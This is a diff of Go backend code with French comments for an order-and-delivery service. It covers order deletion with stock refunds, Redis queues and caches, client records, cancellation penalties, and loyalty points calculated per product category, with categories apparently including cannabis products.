||||
if err == sql.ErrNoRows {
|
||||
return fmt.Errorf("commande non trouvée")
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
log.Printf("📋 [DeleteAtomic] Trouvée - status=%s, client=%s", currentStatus, cmdUsername)
|
||||
|
||||
// ✅ REMBOURSER STOCK ATOMIQUEMENT
|
||||
_, err = tx.Exec(`
|
||||
UPDATE products p
|
||||
SET stock = stock + ci.quantite, updated_at = CURRENT_TIMESTAMP
|
||||
FROM command_items ci
|
||||
WHERE ci.command_id = $1 AND ci.product_id = p.id
|
||||
`, commandID)
|
||||
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [DeleteAtomic] Erreur remboursement: %v", err)
|
||||
} else {
|
||||
log.Printf("✅ [DeleteAtomic] Stock remboursé")
|
||||
}
|
||||
|
||||
// ✅ LOG AVANT SUPPRESSION
|
||||
_, err = tx.Exec(`
|
||||
INSERT INTO command_logs (command_id, status, message, author, created_at)
|
||||
VALUES ($1, $2, $3, $4, CURRENT_TIMESTAMP)
|
||||
`, commandID, "deleted",
|
||||
fmt.Sprintf("Supprimée par %s (%s) - Ancien statut: %s", deletedBy, role, currentStatus),
|
||||
deletedBy)
|
||||
|
||||
// ✅ SUPPRIMER ITEMS
|
||||
_, err = tx.Exec(`DELETE FROM command_items WHERE command_id = $1`, commandID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// ✅ SUPPRIMER COMMANDE
|
||||
result, err := tx.Exec(`DELETE FROM commandes WHERE id = $1`, commandID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
rows, _ := result.RowsAffected()
|
||||
if rows == 0 {
|
||||
return fmt.Errorf("commande non trouvée")
|
||||
}
|
||||
|
||||
log.Printf("✅ [DeleteAtomic] Supprimée de la DB")
|
||||
|
||||
// ✅ COMMIT
|
||||
if err := tx.Commit(); err != nil {
|
||||
return fmt.Errorf("erreur commit: %w", err)
|
||||
}
|
||||
|
||||
// ✅ NETTOYER QUEUES (async)
|
||||
if livreurAssign != "" {
|
||||
go d.RemoveCommandFromAllQueues(commandID, livreurAssign)
|
||||
}
|
||||
|
||||
// ✅ INVALIDER CACHES (async)
|
||||
go func() {
|
||||
Redis.Del(RedisCtx,
|
||||
fmt.Sprintf("command:%d", commandID),
|
||||
fmt.Sprintf("client:%s", cmdUsername),
|
||||
fmt.Sprintf("client:%s:commands", cmdUsername),
|
||||
)
|
||||
}()
|
||||
|
||||
log.Printf("🎉 [DeleteAtomic] SUCCÈS - Commande %d supprimée", commandID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// FONCTIONS HELPERS (déjà sécurisées)
|
||||
// ============================================
|
||||
|
||||
func (d *Database) GetCommandPositionInQueue(livreurUsername string, commandID int) (int, error) {
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", livreurUsername)
|
||||
commandIDStr := fmt.Sprintf("%d", commandID)
|
||||
|
||||
rank, err := Redis.ZRank(RedisCtx, queueKey, commandIDStr).Result()
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("commande non trouvée dans la queue")
|
||||
}
|
||||
|
||||
return int(rank) + 1, nil
|
||||
}
|
||||
|
||||
func (d *Database) GetCancelledCommands(username string, limit int) ([]map[string]interface{}, error) {
|
||||
query := `
|
||||
SELECT id, username, status, adresse, total_prix, created_at, updated_at
|
||||
FROM commandes
|
||||
WHERE status = 'cancelled'
|
||||
`
|
||||
|
||||
args := []interface{}{}
|
||||
argPos := 1
|
||||
|
||||
if username != "" {
|
||||
query += fmt.Sprintf(" AND username = $%d", argPos)
|
||||
args = append(args, username)
|
||||
argPos++
|
||||
}
|
||||
|
||||
query += " ORDER BY updated_at DESC"
|
||||
|
||||
if limit > 0 {
|
||||
query += fmt.Sprintf(" LIMIT $%d", argPos)
|
||||
args = append(args, limit)
|
||||
}
|
||||
|
||||
rows, err := d.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur récupération: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var commands []map[string]interface{}
|
||||
for rows.Next() {
|
||||
var id int
|
||||
var username, status, adresse string
|
||||
var totalPrix float64
|
||||
var createdAt, updatedAt time.Time
|
||||
|
||||
err := rows.Scan(&id, &username, &status, &adresse, &totalPrix, &createdAt, &updatedAt)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
commands = append(commands, map[string]interface{}{
|
||||
"id": id,
|
||||
"username": username,
|
||||
"status": status,
|
||||
"adresse": adresse,
|
||||
"total_prix": totalPrix,
|
||||
"created_at": createdAt,
|
||||
"updated_at": updatedAt,
|
||||
})
|
||||
}
|
||||
|
||||
return commands, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// GESTION DES PÉNALITÉS
|
||||
// ============================================
|
||||
|
||||
// AddClientPenalty ajoute une pénalité à un client
|
||||
func (d *Database) AddClientPenalty(username string, points int) error {
|
||||
log.Printf("⚠️ [AddPenalty] Ajout pénalité: %d points pour client %s", points, username)
|
||||
|
||||
// ✅ Validation
|
||||
if points <= 0 {
|
||||
return fmt.Errorf("points invalides: %d", points)
|
||||
}
|
||||
|
||||
if username == "" {
|
||||
return fmt.Errorf("username vide")
|
||||
}
|
||||
|
||||
// ✅ UPDATE dans PostgreSQL
|
||||
query := `UPDATE clients
|
||||
SET amende = amende + $1, updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = $2`
|
||||
|
||||
result, err := d.Exec(query, points, username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [AddPenalty] Erreur UPDATE: %v", err)
|
||||
return fmt.Errorf("erreur ajout pénalité: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur vérification: %w", err)
|
||||
}
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("client non trouvé: %s", username)
|
||||
}
|
||||
|
||||
log.Printf("✅ [AddPenalty] Pénalité ajoutée: +%d points pour %s", points, username)
|
||||
|
||||
// ✅ Invalider le cache Redis du client
|
||||
cacheKey := fmt.Sprintf("client:%s", username)
|
||||
Redis.Del(RedisCtx, cacheKey)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,942 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (d *Database) CreateClient(client *models.Client) error {
|
||||
query := `INSERT INTO clients (username, password, nom, prenom, telephone, command, point, point_zipette, amende, created_at)
|
||||
VALUES ($1, $2, $3, $4, $5, 0, 0, 0, 0.0, CURRENT_TIMESTAMP)
|
||||
RETURNING id, created_at`
|
||||
|
||||
err := d.QueryRow(query, client.Username, client.Password, client.Nom, client.Prenom, client.Telephone).Scan(
|
||||
&client.ID,
|
||||
&client.CreatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la création du client: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ Client créé avec succès: %s %s (ID: %d)", client.Prenom, client.Nom, client.ID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetClientByID récupère un client par son ID
|
||||
func (d *Database) GetClientByID(id int) (*models.Client, error) {
|
||||
var client models.Client
|
||||
query := `SELECT id, username, password, nom, prenom, telephone, command, point, point_zipette, amende, created_at
|
||||
FROM clients WHERE id = $1`
|
||||
|
||||
err := d.QueryRow(query, id).Scan(
|
||||
&client.ID,
|
||||
&client.Username,
|
||||
&client.Password,
|
||||
&client.Nom,
|
||||
&client.Prenom,
|
||||
&client.Telephone,
|
||||
&client.Command,
|
||||
&client.Point,
|
||||
&client.PointZipette,
|
||||
&client.Amende,
|
||||
&client.CreatedAt,
|
||||
)
|
||||
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, fmt.Errorf("client non trouvé")
|
||||
}
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération du client: %w", err)
|
||||
}
|
||||
|
||||
return &client, nil
|
||||
}
|
||||
|
||||
// GetAllClients récupère tous les clients
|
||||
func (d *Database) GetAllClients() ([]*models.Client, error) {
|
||||
query := `SELECT id, username, password, nom, prenom, telephone, command, point, point_zipette, amende, created_at
|
||||
FROM clients ORDER BY created_at DESC`
|
||||
|
||||
rows, err := d.Query(query)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des clients: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var clients []*models.Client
|
||||
for rows.Next() {
|
||||
client := &models.Client{}
|
||||
err := rows.Scan(
|
||||
&client.ID,
|
||||
&client.Username,
|
||||
&client.Password,
|
||||
&client.Nom,
|
||||
&client.Prenom,
|
||||
&client.Telephone,
|
||||
&client.Command,
|
||||
&client.Point,
|
||||
&client.PointZipette,
|
||||
&client.Amende,
|
||||
&client.CreatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors du scan du client: %w", err)
|
||||
}
|
||||
clients = append(clients, client)
|
||||
}
|
||||
|
||||
if err = rows.Err(); err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de l'itération des résultats: %w", err)
|
||||
}
|
||||
|
||||
return clients, nil
|
||||
}
|
||||
|
||||
// UpdateClient met à jour un client existant
|
||||
func (d *Database) UpdateClient(client *models.Client) error {
|
||||
query := `UPDATE clients
|
||||
SET username = $1, password = $2, nom = $3, prenom = $4, telephone = $5,
|
||||
command = $6, point = $7, point_zipette = $8, amende = $9
|
||||
WHERE id = $10`
|
||||
|
||||
result, err := d.Exec(query,
|
||||
client.Username,
|
||||
client.Password,
|
||||
client.Nom,
|
||||
client.Prenom,
|
||||
client.Telephone,
|
||||
client.Command,
|
||||
client.Point,
|
||||
client.PointZipette,
|
||||
client.Amende,
|
||||
client.ID,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la mise à jour du client: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la vérification des lignes affectées: %w", err)
|
||||
}
|
||||
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("client non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ Client mis à jour: %s (ID: %d)", client.Username, client.ID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteClient supprime un client
|
||||
func (d *Database) DeleteClient(id int) error {
|
||||
// ✅ MODIFIÉ : Supprimer tous les tokens du client avec le user_type "client"
|
||||
_ = d.RevokeAllUserTokens(id, "client")
|
||||
|
||||
query := `DELETE FROM clients WHERE id = $1`
|
||||
|
||||
result, err := d.Exec(query, id)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la suppression du client: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la vérification des lignes affectées: %w", err)
|
||||
}
|
||||
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("client non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ Client supprimé (ID: %d)", id)
|
||||
return nil
|
||||
}
|
||||
|
||||
// UpdateClientPassword met à jour le mot de passe d'un client
|
||||
func (d *Database) UpdateClientPassword(clientID int, hashedPassword string) error {
|
||||
query := `UPDATE clients SET password = $1 WHERE id = $2`
|
||||
|
||||
result, err := d.Exec(query, hashedPassword, clientID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la mise à jour du mot de passe: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la vérification: %w", err)
|
||||
}
|
||||
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("client non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ Mot de passe client mis à jour (ID: %d)", clientID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetClientStats récupère les statistiques d'un client
|
||||
func (d *Database) GetClientStats(clientID int) (map[string]interface{}, error) {
|
||||
client, err := d.GetClientByID(clientID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Compter les commandes du client
|
||||
var totalCommands, pendingCommands, completedCommands int
|
||||
|
||||
countQuery := `SELECT
|
||||
COUNT(*) as total,
|
||||
SUM(CASE WHEN status = 'pending' OR status = 'support' OR status = 'livre' THEN 1 ELSE 0 END) as pending,
|
||||
SUM(CASE WHEN status = 'approved' THEN 1 ELSE 0 END) as completed
|
||||
FROM commandes WHERE username = $1`
|
||||
|
||||
err = d.QueryRow(countQuery, client.Username).Scan(&totalCommands, &pendingCommands, &completedCommands)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Erreur calcul stats: %v", err)
|
||||
totalCommands, pendingCommands, completedCommands = 0, 0, 0
|
||||
}
|
||||
|
||||
stats := map[string]interface{}{
|
||||
"id": clientID,
|
||||
"username": client.Username,
|
||||
"nom": client.Nom,
|
||||
"prenom": client.Prenom,
|
||||
"telephone": client.Telephone,
|
||||
"total_commands": totalCommands,
|
||||
"pending_commands": pendingCommands,
|
||||
"completed_commands": completedCommands,
|
||||
"points": client.Point,
|
||||
"points_zipette": client.PointZipette,
|
||||
"amende": client.Amende,
|
||||
"member_since": client.CreatedAt,
|
||||
}
|
||||
|
||||
return stats, nil
|
||||
}
|
||||
|
||||
func (d *Database) GetClientAmende(username string) (float64, error) {
|
||||
var amende float64
|
||||
query := `SELECT COALESCE(amende, 0) FROM clients WHERE username = $1`
|
||||
|
||||
err := d.QueryRow(query, username).Scan(&amende)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetClientAmende] Erreur pour %s: %v", username, err)
|
||||
return 0, fmt.Errorf("erreur récupération pénalités: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("💰 [GetClientAmende] Client %s: %.2f points", username, amende)
|
||||
return amende, nil
|
||||
}
|
||||
|
||||
func (d *Database) PayClientPenalties(username string, amountPaid float64) error {
|
||||
log.Printf("💳 [PayClientPenalties] Paiement de %.2f points pour %s", amountPaid, username)
|
||||
|
||||
// Vérifier le montant actuel
|
||||
currentAmount, err := d.GetClientAmende(username)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if currentAmount <= 0 {
|
||||
return fmt.Errorf("aucune pénalité à payer")
|
||||
}
|
||||
|
||||
if amountPaid < currentAmount {
|
||||
return fmt.Errorf("montant insuffisant: %.2f payé, %.2f requis", amountPaid, currentAmount)
|
||||
}
|
||||
|
||||
// Réinitialiser les pénalités
|
||||
query := `UPDATE clients
|
||||
SET amende = 0, updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = $1`
|
||||
|
||||
result, err := d.Exec(query, username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [PayClientPenalties] Erreur UPDATE: %v", err)
|
||||
return fmt.Errorf("erreur paiement pénalités: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur vérification: %w", err)
|
||||
}
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("client non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ [PayClientPenalties] Pénalités réglées pour %s", username)
|
||||
|
||||
// Invalider le cache Redis du client
|
||||
cacheKey := fmt.Sprintf("client:%s", username)
|
||||
Redis.Del(RedisCtx, cacheKey)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// IncrementClientCommandCount incrémente le compteur de commandes du client
|
||||
func (d *Database) IncrementClientCommandCount(username string) error {
|
||||
query := `UPDATE clients
|
||||
SET command = command + 1
|
||||
WHERE username = $1`
|
||||
|
||||
result, err := d.Exec(query, username)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de l'incrémentation du compteur: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la vérification: %w", err)
|
||||
}
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("client non trouvé")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ✅ NOUVELLE FONCTION: Ajouter des points selon la catégorie
|
||||
func (d *Database) AddClientPointsByCategory(username string, points int, category string) error {
|
||||
var query string
|
||||
|
||||
if category == "zipette&co" {
|
||||
query = `UPDATE clients
|
||||
SET point_zipette = point_zipette + $1
|
||||
WHERE username = $2`
|
||||
log.Printf("🎁 [ADD_POINTS] Ajout de %d points ZIPETTE à %s", points, username)
|
||||
} else {
|
||||
query = `UPDATE clients
|
||||
SET point = point + $1
|
||||
WHERE username = $2`
|
||||
log.Printf("🎁 [ADD_POINTS] Ajout de %d points WEED/HASH à %s", points, username)
|
||||
}
|
||||
|
||||
result, err := d.Exec(query, points, username)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de l'ajout de points: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la vérification: %w", err)
|
||||
}
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("client non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ %d points (%s) ajoutés au client %s (EN DB)", points, category, username)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ✅ ANCIENNE FONCTION CONSERVÉE POUR COMPATIBILITÉ (utilise weed/hash par défaut)
|
||||
func (d *Database) AddClientPoints(username string, points int) error {
|
||||
return d.AddClientPointsByCategory(username, points, "weed_hash")
|
||||
}
|
||||
|
||||
func (d *Database) GetClientByTelephone(telephone string) (*models.Client, error) {
|
||||
client := &models.Client{}
|
||||
query := `SELECT id, username, password, nom, prenom, telephone, command, point, point_zipette, amende, created_at
|
||||
FROM clients WHERE telephone = $1`
|
||||
|
||||
err := d.QueryRow(query, telephone).Scan(
|
||||
&client.ID,
|
||||
&client.Username,
|
||||
&client.Password,
|
||||
&client.Nom,
|
||||
&client.Prenom,
|
||||
&client.Telephone,
|
||||
&client.Command,
|
||||
&client.Point,
|
||||
&client.PointZipette,
|
||||
&client.Amende,
|
||||
&client.CreatedAt,
|
||||
)
|
||||
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération du client: %w", err)
|
||||
}
|
||||
|
||||
return client, nil
|
||||
}
|
||||
|
||||
// GetClientByUsername récupère un client par son username
|
||||
func (d *Database) GetClientByUsername(username string) (*models.Client, error) {
|
||||
client := &models.Client{}
|
||||
query := `SELECT id, username, password, nom, prenom, telephone, command, point, point_zipette, amende, created_at
|
||||
FROM clients WHERE username = $1`
|
||||
|
||||
err := d.QueryRow(query, username).Scan(
|
||||
&client.ID,
|
||||
&client.Username,
|
||||
&client.Password,
|
||||
&client.Nom,
|
||||
&client.Prenom,
|
||||
&client.Telephone,
|
||||
&client.Command,
|
||||
&client.Point,
|
||||
&client.PointZipette,
|
||||
&client.Amende,
|
||||
&client.CreatedAt,
|
||||
)
|
||||
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération du client: %w", err)
|
||||
}
|
||||
|
||||
return client, nil
|
||||
}
|
||||
|
||||
func (d *Database) GetClientPenaltiesInfo(username string) (map[string]interface{}, error) {
|
||||
// Récupérer le montant des pénalités
|
||||
amende, err := d.GetClientAmende(username)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Récupérer le nombre d'annulations
|
||||
cancellationsCount, err := d.GetClientCancellationsCount(username)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [GetClientPenaltiesInfo] Erreur récup annulations: %v", err)
|
||||
cancellationsCount = 0
|
||||
}
|
||||
|
||||
// Récupérer l'historique d'annulations
|
||||
cancellationHistory, err := d.GetClientCancellationHistory(username)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [GetClientPenaltiesInfo] Erreur récup historique: %v", err)
|
||||
cancellationHistory = map[string]interface{}{
|
||||
"cancellations_count": cancellationsCount,
|
||||
"next_penalty": 20,
|
||||
}
|
||||
}
|
||||
|
||||
info := map[string]interface{}{
|
||||
"username": username,
|
||||
"total_penalty": amende,
|
||||
"cancellations_count": cancellationsCount,
|
||||
"cancellation_history": cancellationHistory,
|
||||
"has_penalties": amende > 0,
|
||||
}
|
||||
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// CheckClientCanOrder vérifie si un client peut passer commande (pas de pénalités impayées)
|
||||
func (d *Database) CheckClientCanOrder(username string) (bool, float64, error) {
|
||||
amende, err := d.GetClientAmende(username)
|
||||
if err != nil {
|
||||
return false, 0, err
|
||||
}
|
||||
|
||||
if amende > 0 {
|
||||
log.Printf("⚠️ [CheckClientCanOrder] Client %s bloqué: %.2f points de pénalités", username, amende)
|
||||
return false, amende, fmt.Errorf("pénalités impayées: %.2f points", amende)
|
||||
}
|
||||
|
||||
return true, 0, nil
|
||||
}
|
||||
|
||||
func (d *Database) ResetClientPenalties(username string, resetCancellationsCount bool) error {
|
||||
log.Printf("🔄 [ResetClientPenalties] Reset pour %s (reset_count=%v)", username, resetCancellationsCount)
|
||||
|
||||
var query string
|
||||
if resetCancellationsCount {
|
||||
query = `UPDATE clients
|
||||
SET amende = 0,
|
||||
cancellations_count = 0,
|
||||
updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = $1`
|
||||
} else {
|
||||
query = `UPDATE clients
|
||||
SET amende = 0,
|
||||
updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = $1`
|
||||
}
|
||||
|
||||
result, err := d.Exec(query, username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [ResetClientPenalties] Erreur UPDATE: %v", err)
|
||||
return fmt.Errorf("erreur reset pénalités: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur vérification: %w", err)
|
||||
}
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("client non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ [ResetClientPenalties] Reset effectué pour %s", username)
|
||||
|
||||
// Invalider le cache Redis du client
|
||||
cacheKey := fmt.Sprintf("client:%s", username)
|
||||
Redis.Del(RedisCtx, cacheKey)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Database) GetAllClientsWithPenalties() ([]map[string]interface{}, error) {
|
||||
query := `
|
||||
SELECT username, amende, COALESCE(cancellations_count, 0) as cancellations_count, updated_at
|
||||
FROM clients
|
||||
WHERE amende > 0
|
||||
ORDER BY amende DESC
|
||||
`
|
||||
|
||||
rows, err := d.Query(query)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetAllClientsWithPenalties] Erreur query: %v", err)
|
||||
return nil, fmt.Errorf("erreur récupération clients: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var clients []map[string]interface{}
|
||||
for rows.Next() {
|
||||
var username string
|
||||
var amende float64
|
||||
var cancellationsCount int
|
||||
var updatedAt interface{}
|
||||
|
||||
err := rows.Scan(&username, &amende, &cancellationsCount, &updatedAt)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [GetAllClientsWithPenalties] Erreur scan: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
clients = append(clients, map[string]interface{}{
|
||||
"username": username,
|
||||
"total_penalty": amende,
|
||||
"cancellations_count": cancellationsCount,
|
||||
"last_updated": updatedAt,
|
||||
})
|
||||
}
|
||||
|
||||
log.Printf("📊 [GetAllClientsWithPenalties] %d clients avec pénalités", len(clients))
|
||||
|
||||
return clients, nil
|
||||
}
|
||||
|
||||
func (d *Database) GetClientPenaltiesStats() (map[string]interface{}, error) {
|
||||
query := `
|
||||
SELECT
|
||||
COUNT(CASE WHEN amende > 0 THEN 1 END) as clients_with_penalties,
|
||||
COALESCE(SUM(amende), 0) as total_penalties,
|
||||
COALESCE(AVG(amende), 0) as avg_penalty,
|
||||
COALESCE(MAX(amende), 0) as max_penalty,
|
||||
COUNT(*) as total_clients
|
||||
FROM clients
|
||||
`
|
||||
|
||||
var stats struct {
|
||||
ClientsWithPenalties int
|
||||
TotalPenalties float64
|
||||
AvgPenalty float64
|
||||
MaxPenalty float64
|
||||
TotalClients int
|
||||
}
|
||||
|
||||
err := d.QueryRow(query).Scan(
|
||||
&stats.ClientsWithPenalties,
|
||||
&stats.TotalPenalties,
|
||||
&stats.AvgPenalty,
|
||||
&stats.MaxPenalty,
|
||||
&stats.TotalClients,
|
||||
)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetClientPenaltiesStats] Erreur: %v", err)
|
||||
return nil, fmt.Errorf("erreur récupération stats: %w", err)
|
||||
}
|
||||
|
||||
result := map[string]interface{}{
|
||||
"clients_with_penalties": stats.ClientsWithPenalties,
|
||||
"total_penalties": stats.TotalPenalties,
|
||||
"average_penalty": stats.AvgPenalty,
|
||||
"max_penalty": stats.MaxPenalty,
|
||||
"total_clients": stats.TotalClients,
|
||||
}
|
||||
|
||||
log.Printf("📊 [GetClientPenaltiesStats] Stats: %d/%d clients avec pénalités",
|
||||
stats.ClientsWithPenalties, stats.TotalClients)
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// ✅ FONCTION MODIFIÉE: Calculer les points sans cumuler entre catégories
|
||||
// À remplacer dans db/clients.go à partir de la ligne 498
|
||||
|
||||
// À remplacer dans db/clients.go
|
||||
|
||||
func (d *Database) CalculatePointsForCommand(commandID int) (int, string, error) {
|
||||
query := `
|
||||
SELECT p.category, ci.prix, ci.quantite
|
||||
FROM command_items ci
|
||||
JOIN products p ON ci.product_id = p.id
|
||||
WHERE ci.command_id = $1
|
||||
`
|
||||
|
||||
rows, err := d.Query(query, commandID)
|
||||
if err != nil {
|
||||
return 0, "", fmt.Errorf("erreur récupération items: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
zipetteTotal := 0.0
|
||||
weedTotal := 0.0
|
||||
grosSemiTotal := 0.0
|
||||
|
||||
for rows.Next() {
|
||||
var category string
|
||||
var prix float64
|
||||
var quantite int
|
||||
|
||||
if err := rows.Scan(&category, &prix, &quantite); err != nil {
|
||||
log.Printf("⚠️ Erreur scan item: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
itemTotal := prix // Prix déjà calculé pour la quantité
|
||||
categoryLower := strings.ToLower(category)
|
||||
|
||||
if categoryLower == "zipette&co" || categoryLower == "zipette_co" {
|
||||
zipetteTotal += itemTotal
|
||||
} else if categoryLower == "gros&semi" || categoryLower == "gros_semi" {
|
||||
grosSemiTotal += itemTotal
|
||||
} else {
|
||||
weedTotal += itemTotal
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("💰 [CALC_POINTS] Cmd %d - Zipette: %.2f€, Weed: %.2f€, GrosSemi: %.2f€",
|
||||
commandID, zipetteTotal, weedTotal, grosSemiTotal)
|
||||
|
||||
// ✅ CALCUL POINTS WEED&HASH
|
||||
weedPoints := 0
|
||||
if weedTotal > 0 {
|
||||
switch {
|
||||
case weedTotal >= 30 && weedTotal <= 50:
|
||||
weedPoints = 1
|
||||
case weedTotal >= 60 && weedTotal <= 150:
|
||||
weedPoints = 2
|
||||
case weedTotal >= 160 && weedTotal <= 300:
|
||||
weedPoints = 3
|
||||
case weedTotal >= 310 && weedTotal <= 400:
|
||||
weedPoints = 5
|
||||
case weedTotal >= 400:
|
||||
weedPoints = 10
|
||||
}
|
||||
if weedPoints > 0 {
|
||||
log.Printf("🎁 [CALC_POINTS] Weed: %.2f€ → %d points", weedTotal, weedPoints)
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ CALCUL POINTS ZIPETTE&CO
|
||||
zipettePoints := 0
|
||||
if zipetteTotal > 0 {
|
||||
switch {
|
||||
case zipetteTotal >= 30 && zipetteTotal <= 100:
|
||||
zipettePoints = 1
|
||||
case zipetteTotal >= 110 && zipetteTotal <= 200:
|
||||
zipettePoints = 2
|
||||
case zipetteTotal >= 210:
|
||||
zipettePoints = 3
|
||||
}
|
||||
if zipettePoints > 0 {
|
||||
log.Printf("🎁 [CALC_POINTS] Zipette: %.2f€ → %d points", zipetteTotal, zipettePoints)
|
||||
}
|
||||
}
|
||||
|
||||
totalPoints := zipettePoints + weedPoints
|
||||
|
||||
if totalPoints == 0 {
|
||||
if grosSemiTotal > 0 && zipetteTotal == 0 && weedTotal == 0 {
|
||||
log.Printf("ℹ️ [CALC_POINTS] Cmd %d - Catégorie GROS&SEMI uniquement (%.2f€) → 0 points",
|
||||
commandID, grosSemiTotal)
|
||||
return 0, "gros&semi", nil
|
||||
}
|
||||
log.Printf("ℹ️ [CALC_POINTS] Cmd %d - Aucun montant éligible aux points", commandID)
|
||||
return 0, "unknown", nil
|
||||
}
|
||||
|
||||
var dominantCategory string
|
||||
if zipetteTotal >= weedTotal {
|
||||
dominantCategory = "zipette&co"
|
||||
} else {
|
||||
dominantCategory = "weed&hash"
|
||||
}
|
||||
|
||||
log.Printf("✅ [CALC_POINTS] Cmd %d - Total: %d points (Zipette: %d, Weed: %d)",
|
||||
commandID, totalPoints, zipettePoints, weedPoints)
|
||||
|
||||
return totalPoints, dominantCategory, nil
|
||||
}
|
||||
|
||||
// ✅ FONCTION CORRIGÉE: Calculer et ajouter les points séparément avec le BON BARÈME
|
||||
func (d *Database) CalculateAndAddPointsForCommand(commandID int, username string) (int, error) {
|
||||
query := `
|
||||
SELECT p.category, ci.prix, ci.quantite
|
||||
FROM command_items ci
|
